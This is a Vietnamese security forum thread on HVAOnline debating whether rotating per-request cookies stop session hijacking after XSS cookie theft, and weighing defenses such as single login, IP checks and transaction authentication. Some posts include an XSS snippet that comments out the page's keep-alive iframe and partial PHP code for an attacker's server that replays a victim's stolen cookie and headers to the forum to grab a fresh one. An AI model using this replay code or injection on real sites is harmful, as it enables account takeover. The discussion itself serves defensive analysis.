conmale wrote:

Khơi thêm một tí để bàn cho vui

Giả sử chúng ta có một trường hợp xử lý như sau:

1) User A gởi request thứ nhất đến HVA và chưa hề nhận được một cookie nào cả.

2) HVA trả lời request thứ nhất này đồng thời set một cookie "đặc biệt" trên trình duyệt của user A. Tạm gọi cookie này là cookie=1

3) User A gởi request thứ nhì đến HVA, request này có kèm theo cookie=1. Ở bước này HVA sẽ tiếp nhận request thứ nhì của user A nếu như nó có kèm theo cookie=1. Nếu không, nó sẽ từ chối trả lời. Nếu HVA tiếp nhận request thứ nhì này (vì nó có kèm theo cookie=1), HVA sẽ tiếp tục set một cookie khác đến trình duyệt của user A. Tạm gọi là cookie=2 (cookie=1 đã bị hủy).

Cứ như thế, mỗi request từ user A phải kèm theo một cookie mới nhất và có giá trị được HVA set ở lần request gần nhất trước đây và request ấy chỉ được trả lời nếu như nó có cookie mới nhất và có giá trị.


Với cơ chế như trên, giả sử user B bằng cách nào đó "chôm" được cookie của user A (cứ cho rằng user B chôm được trọn bộ HTTP header của user A). Liệu user B có thể làm được gì với cookie lấy được? Tại sao? Tại sao không?

Mời bà con bàn.

Thân. 

Theo em thằng Thằng User B nó vẫn exploit bình thường vì nó đã tóm được cookie thứ N ( là mới nhất) sau đó nó nhanh tay thực hiện một cú request khác đến HVA để lấy cái Cookie thứ N+1. Tại sao phải nhanh tay, vì nếu không nhanh tay thì thằng Victim A sau khi bị mất Cookie thứ N nó duyệt một link khác trên HVA thì Cookie thứ N của thằng Hacker B trở nên vô giá trị . Đây cũng là một trong những phương pháp tốt để chống kiểu tấn công "Session fixation" 

@secmask: tui có nói đến cụm từ "nhanh tay" , còn chuyện một đoạn javascript để connect đến HVA trong khoảng thời gian delay nào đó ... thì attacker có thể disable đoạn script đó cũng bằng "XSS exploit ". Cụ thể là một đoạn javascript set lại thời gian delay phía victim ( hoặc Disable luôn) sau đó mới chôm cookie bình thường  

@boom_it: đồng chí nói rõ cái công nghệ "tự động gởi tới webserver" đc ko?  

Cách của bác conmale có thể bypass 1 cách đơn giản thế này (không cần phải nhanh tay ha ) : khi server của người tấn công nhận đc cookie mới nhất của victim, nó tự động liền sau đó gửi yêu cầu tới web server với http header và cookie của victim để lấy về cookie "mới hơn nữa" như vậy kẻ tấn công sẽ chiếm đc 1 cookie hợp lệ, đồng thời biến cookie đang lưu trong browser nạn nhân trở thành bất hợp lệ. Và thông thường boom_jt thấy thì nạn nhân có login lại thì cookie của kẻ tấn công cũng không trở thành bất hợp lệ do sự cho phép nhiều người dùng đăng nhập vào cùng 1 tài khoản.
 

Vậy làm sao để hạn chế việc này?

1. Chỉ cho phép 1 người dùng đăng nhập vào 1 tài khoản trong 1 thời điểm, và cookie đc set khi đăng nhập thành công sẽ là cookie hợp lệ. tất nhiên điều này kéo theo 1 vài ràng buộc nào đó liên quan đến yêu cầu phần mềm, nói chung là cũng còn tùy trường hợp. Trong trường hợp HVA forum thì có lẽ cơ chế này có thể áp dụng
 

2. Dựa trên cách bác conmale đề ra: sử dụng 1 cookie SID không đổi (session) và cookie động (giống như của bác conmale). Chỉ cần cookie động không hợp lệ là SID sẽ bị loại bỏ luôn. Như thế, khi nạn nhân sử dụng cookie "không còn hợp lệ" (do cách khai thác ở trên) để tạo kết nối tiếp theo cũng đồng nghĩa với việc biến cookie "hợp lệ" đang nằm trong tay kẻ tấn công thành bất hợp lệ. Nạn nhân sẽ phải đăng nhập lại để có cookie hợp lệ.
 

Tuy nhiên, với cách 2 như vừa nêu, giả sử lỗi XSS nằm ngay tại index của diễn đàn (hay trong danh sách thành viên online chẳng hạn), sẽ dẫn đến 1 vấn đề là toàn bộ thành viên sẽ ko thể vào đc diễn đàn, vì cookie của họ liên tục trở thành bất hợp lệ!
Phương pháp nào cũng có mặt trái của nó kèm theo đó là 1 số bất cập do các bác đã nêu...

thân mến 

gamma95 wrote:

@secmask: tui có nói đến cụm từ "nhanh tay" , còn chuyện một đoạn javascript để connect đến HVA trong khoảng thời gian delay nào đó ... thì attacker có thể disable đoạn script đó cũng bằng "XSS exploit ". Cụ thể là một đoạn javascript set lại thời gian delay phía victim ( hoặc Disable luôn) sau đó mới chôm cookie bình thường  

Hiện tại HVA có dùng 1 iframe ở cuối để ping về HVA sau interval 600s, có thể kết hợp cái này để làm mới cookie mà không cần đoạn javascrip secmask nói. 

<script>window.open() .....</script><!-- 

Cách của bác conmale có thể bypass 1 cách đơn giản thế này (không cần phải nhanh tay ha ) : khi server của người tấn công nhận đc cookie mới nhất của victim, nó tự động liền sau đó gửi yêu cầu tới web server với http header và cookie của victim để lấy về cookie "mới hơn nữa" như vậy kẻ tấn công sẽ chiếm đc 1 cookie hợp lệ, đồng thời biến cookie đang lưu trong browser nạn nhân trở thành bất hợp lệ. Và thông thường boom_jt thấy thì nạn nhân có login lại thì cookie của kẻ tấn công cũng không trở thành bất hợp lệ do sự cho phép nhiều người dùng đăng nhập vào cùng 1 tài khoản. 

Nếu không nhanh tay thì làm sao có thể tiếp tục dùng cookie chôm được để gởi request đến HVA server để lấy cookie mới? Nếu kẻ tấn công cần thời gian để setup và để có thể dùng cookie chôm được, lúc ấy có thể cookie mới đã được cấp đến victim rồi và cookie chôm được trở thành vô dụng. Cái quan trọng là động tác "tự động liền sau đó gửi yêu cầu tới web server với http header và cookie của victim để lấy về cookie" thực hiện như thế nào. 

Nên nhớ rằng, các phương pháp xss hiện giờ chưa có cách nào khả dĩ để có thể "tự động gởi yêu cầu đến server bằng cookie chôm được" với thời gian đủ nhanh. 

...
$user_agent = $_SERVER['HTTP_USER_AGENT'];
... // lưu các giá trị nhận đc vào các biến 

$ch = curl_init('/hvaonline/recentTopics/list.html');
curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
... // set đầy đủ các thuộc tính thu đc từ http header
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
$res = curl_exec($ch); //thực hiện kết nối tới HVA bằng cookie vừa nhận đc
curl_close($ch);

SaveCookie($res)  //thực hiện việc lưu cookie mới nhận đc trong kết quả trả về

http://host/conmale_gamma95.php

Nếu như session của kẻ tấn công có yếu tố nào đó giúp phân biệt được và chính session (của người thực hiện hijack) ấy bị hủy chớ không phải session của người bị hijack bị hủy thì sao? 

:

conmale wrote:

Nếu như session của kẻ tấn công có yếu tố nào đó giúp phân biệt được và chính session (của người thực hiện hijack) ấy bị hủy chớ không phải session của người bị hijack bị hủy thì sao? 

hiện tại boom_jt chưa nghĩ ra, mong bác conmale chỉ giáo  

boom_jt wrote:

:

conmale wrote:

Nếu như session của kẻ tấn công có yếu tố nào đó giúp phân biệt được và chính session (của người thực hiện hijack) ấy bị hủy chớ không phải session của người bị hijack bị hủy thì sao? 

hiện tại boom_jt chưa nghĩ ra, mong bác conmale chỉ giáo  

Cái chỗ này chính xác là vấn đề mọi người đáng quan tâm , Bạn nên nghĩ tới các yếu tố kết hợp nào để tạo ra một session như thế nhằm để phân biệt được ai là kẻ đang giả mạo phiên truy cập , Vd nhé : người dùng hợp lệ đang duyện HVA bằng IE, còn kẻ tấn công thì dùng firefox ... đó là những yếu tố cần kết hợp để tạo ra một sessioniD có thể phân biệt. Không biết đúng không ta ?  

@boom_it: đoạn mã cậu post lên tui chưa thấy tính tự động ở đâu cả. Cái tự động ở đây theo ý tui là ngay khi cái file log.txt nhận được cookie được gởi đến bởi nạn nhân thì ngay lập tức nó lấy giá trị cookie + HTTP header đó generate ra một http request đến server HVA ngay lập tức để lấy cookie mới kìa  

<?php
function getURL(){
	error_reporting(E_ALL);
	$filenameurl = "urlip.txt"; //the default blog file
	$sReponse="heheheheh";
	//echo "<h2>TCP/IP Connection</h2>\n";

	/* Get the port for the WWW service. */
	$service_port = getservbyname('www', 'tcp');

	/* Get the IP address for the target host. */
	
	$address = gethostbyname('www.hvaonline.net/......');  //gì gì đó 

	/* Create a TCP/IP socket. */
	$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
	if ($socket === false) {
		//echo "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . "\n";
	} else {
		//echo "OK.\n";
	}

	//echo "Attempting to connect to '$address' on port '$service_port'...";
	$result = socket_connect($socket, $address, $service_port);
	if ($result === false) {
		//echo "socket_connect() failed.\nReason: ($result) " . socket_strerror(socket_last_error($socket)) . "\n";
	} else {
		//echo "OK.\n";
	}

	$in = "GET /hvaonline/posts/reply/0/15621.html HTTP/1.1\r\n";  /// ... gì gì đó 
	$in .= "Host:www.hvaonline.net\r\n";
       //chỗ này chèn thông tin thu thập gì gì đó
       //..
      //..

        $in .= "Connection: Close\r\n\r\n";
	$out = '';


	//echo "Sending HTTP HEAD request...";
	socket_write($socket, $in, strlen($in));
	//echo "OK.\n";

	//echo "Reading response:\n\n";
	while ($out = socket_read($socket, 2048)) {
		//echo $out;
		$sReponse .=  $out;
	}

	//echo "Closing socket...";
	socket_close($socket);
	//echo "OK.\n\n";

	if (file_exists("$filenameurl")) {
			$fp = fopen($filenameurl,"a+");
			fputs($fp,"==========\n".$sReponse."\n==========\n");
			fclose($fp); 
	}
}

@boom_it: đoạn mã cậu post lên tui chưa thấy tính tự động ở đâu cả. Cái tự động ở đây theo ý tui là ngay khi cái file log.txt nhận được cookie được gởi đến bởi nạn nhân thì ngay lập tức nó lấy giá trị cookie + HTTP header đó generate ra một http request đến server HVA ngay lập tức để lấy cookie mới kìa  

2. Dựa trên cách bác conmale đề ra: sử dụng 1 cookie SID không đổi (session) và cookie động (giống như của bác conmale). Chỉ cần cookie động không hợp lệ là SID sẽ bị loại bỏ luôn. Như thế, khi nạn nhân sử dụng cookie "không còn hợp lệ" (do cách khai thác ở trên) để tạo kết nối tiếp theo cũng đồng nghĩa với việc biến cookie "hợp lệ" đang nằm trong tay kẻ tấn công thành bất hợp lệ. Nạn nhân sẽ phải đăng nhập lại để có cookie hợp lệ.
 

Tuy nhiên, với cách 2 như vừa nêu, giả sử lỗi XSS nằm ngay tại index của diễn đàn (hay trong danh sách thành viên online chẳng hạn), sẽ dẫn đến 1 vấn đề là toàn bộ thành viên sẽ ko thể vào đc diễn đàn, vì cookie của họ liên tục trở thành bất hợp lệ!
 

@vivashadow:
Attacker dễ dàng inject cái script này để disable nguyên đoạn mã html phía dưới, trong đó có cả cái iframe chứa ping.jsp của HVA

<script>window.open() .....</script><!--  

 

Khi có 1 request khác tới , nó sẽ xác nhập thông tin về IP của client , nếu có 1 sự thay đổi IP , server sẽ yêu cầu client đăng nhập lại ?... 

"Con gián" của gamma hại nhỉ?

Anyway, tôi cho rằng, mọi hành động điều chỉnh cookie, như cách anh conmale đề cập, chỉ là những "mánh mung", hòng gây thêm khó khăn cho kẻ tấn công, chứ không phải là một giải pháp triệt để.
 

Hơi off-topic, tôi nghĩ có lẽ chúng ta đang xác định sai vấn đề cần giải quyết, nên các giải pháp đưa ra đều khó lòng mà triệt để. Vấn đề mà chúng ta cần giải quyết ở đây không phải là xác thực người dùng (user authentication, như mọi người vẫn đang cố gắng triển khai, thông qua các hình thức cookie, username, password, token...), mà phải là xác thực từng hành động mà người dùng thực thi trên hệ thống (transaction authentication).
 

Tôi đưa ra một ví dụ về sự thất bại của chiến thuật xác thuật người dùng. Ngay ở HVAOnline, trước đây, JForum bị dính một lỗi CSRF (có một topic về đề tài này trên HVAOnline), anh conmale mới triển khai một kiểu securityHash, là một hidden field trong mấy cái form trên HVAOnline. securityHash giải quyết được CSRF cho đến khi gamma, với sự cố "con gián" :-d, đã chôm được luôn cookie (và thật ra khi đã bị XSS rồi, thì securityHash kô còn có tác dụng nữa) và từ đó chiếm luôn session của những người nào mải mê "bắt gián".

Rõ ràng, các phương thức xác thực như cookie, session hay securityHash không phải là giải phát triệt để để bảo đảm an ninh cho phía server, ngăn ngừa những tổn hại có thể xảy ra với server trong trường hợp credential của user bị đánh cắp. Đó là tôi chưa kể đến những vấn đề như MITM trojan có khả năng chôm credential của user một cách tự động và "trong suốt" luôn. Tóm lại, từ máy tính của người dùng đến server, có quá nhiều cạm bẫy và rủi ro có thể khiến người dùng bị chôm mất credential của mình.
 

Do đó, tôi nghĩ bây giờ phải assump là, người dùng sẽ bị chôm credential, trong trường hợp này là attacker có thể tạo ra một request hoàn toàn bình thường như người dùng. Câu hỏi là có cách nào kiểm tra request đó ở phía server hay không?

Có nhiều cách, tùy theo từng hoàn cảnh, chẳng hạn như:

- đối với các hệ thống tài chính, ngân hàng, họ đều triển khai một hệ thống gọi là "fraud detection system", tạm dịch là hệ thống phát hiện gian lận. Hệ thống này được xây dựng dựa trên nền tảng của AI, có khả năng tìm hiểu, phân tích, học và adapt theo thói quen của người dùng.

Ví dụ như họ phân tích thói quen tiêu tiền của tôi là lần nào cũng rút tiền từ ATM ra cao lắm là 2 triệu, tại một trong 2 máy ATM gần chỗ làm. Nếu một ngày nào đó, tự nhiên ai đó rút ra hết tiền của tôi, tại một máy ATM ở...Lạng Sơn chẳng hạn, hệ thống sẽ báo động và ngừng giao dịch đó lại.
 

Đương nhiên xây dựng một hệ thống như thế đòi hỏi tiền bạc, thời gian, nhân lực và rõ ràng là không thể áp dụng cho HVAOnline.

- đối với một hệ thống như HVAOnline, chúng ta có thể điều chỉnh bằng các rule, chẳng hạn như:

+ ủy thác thực hiện các chức năng quan trọng vào một lớp IP nhất định.

+ trước khi thực hiện bất kỳ chức năng nào, phải verify lại mật khẩu.

+ tách bạch giữa account quản lý và account sinh hoạt trên diễn đàn (chẳng hạn như "quanlytruong")

+ ...
 

Sorry mọi người, hơi bị off-topic .

-m
 

Hì hì, mục đích đằng sau là để tìm hiểu những giới hạn của giao thức HTTP hiện nay trong phạm vi session management đó em . Cái này quan trọng và lý thú hơn chỉ dừng lại ở mức "quick fix". 

Điểm này hoàn toàn đúng. Tuy vậy, vấn đề nằm ở chỗ xác định sự cân bằng giữa đòi hỏi bảo mật và tiện dụng của một ứng dụng. Một ứng dụng online banking cần "transaction authentication" là điều cần thiết bởi vì mỗi cú bấm đều critical. Đối với một forum, tính critical không cao đến thế. Nếu đặt tính critical của một forum lên mức đòi hỏi "transaction authentication" thì nó bị mất tính linh động và dễ dùng.

Đứng về mặt technology, mình có thể vận dụng nhiều phương pháp để giải quyết tình trạng hijacking. Cái khó là duy trì được mức transparent và friendly trong quá trình sử dụng. 

Do đó, tôi nghĩ bây giờ phải assump là, người dùng sẽ bị chôm credential, trong trường hợp này là attacker có thể tạo ra một request hoàn toàn bình thường như người dùng. Câu hỏi là có cách nào kiểm tra request đó ở phía server hay không?

Có nhiều cách, tùy theo từng hoàn cảnh, chẳng hạn như:

- đối với các hệ thống tài chính, ngân hàng, họ đều triển khai một hệ thống gọi là "fraud detection system", tạm dịch là hệ thống phát hiện gian lận. Hệ thống này được xây dựng dựa trên nền tảng của AI, có khả năng tìm hiểu, phân tích, học và adapt theo thói quen của người dùng.

Ví dụ như họ phân tích thói quen tiêu tiền của tôi là lần nào cũng rút tiền từ ATM ra cao lắm là 2 triệu, tại một trong 2 máy ATM gần chỗ làm. Nếu một ngày nào đó, tự nhiên ai đó rút ra hết tiền của tôi, tại một máy ATM ở...Lạng Sơn chẳng hạn, hệ thống sẽ báo động và ngừng giao dịch đó lại.